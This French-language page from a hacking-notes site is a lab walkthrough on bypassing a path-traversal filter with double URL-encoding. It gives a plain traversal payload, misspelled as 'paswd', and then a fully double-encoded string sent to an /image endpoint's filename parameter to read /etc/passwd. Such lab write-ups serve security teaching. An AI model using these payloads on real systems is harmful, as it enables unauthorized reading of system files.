> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/path-traversal/bypass-by-double-url-decoding.md).
# Contournement par double décodage URL
### Traversée de chemin de fichier, séquences de traversée supprimées avec un URL-décodage superflu
Ce laboratoire présente une vulnérabilité de traversée de chemin lors de l’affichage des images produites. / L’application bloque les séquences de traversée dans le nom de fichier fourni par l’utilisateur, puis applique un URL-décodage supplémentaire avant d’utiliser cette valeur.
L'objectif est de lire le contenu du `/etc/passwd` .
La charge utile standard suivante s’avère ne pas fonctionner :
```bash
../../../../../etc/paswd
```
Pour contourner ce filtre, une technique consiste à **encoder l’URL deux fois** et l’envoyer dans le `filename` paramètre du `/image` point de terminaison :
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
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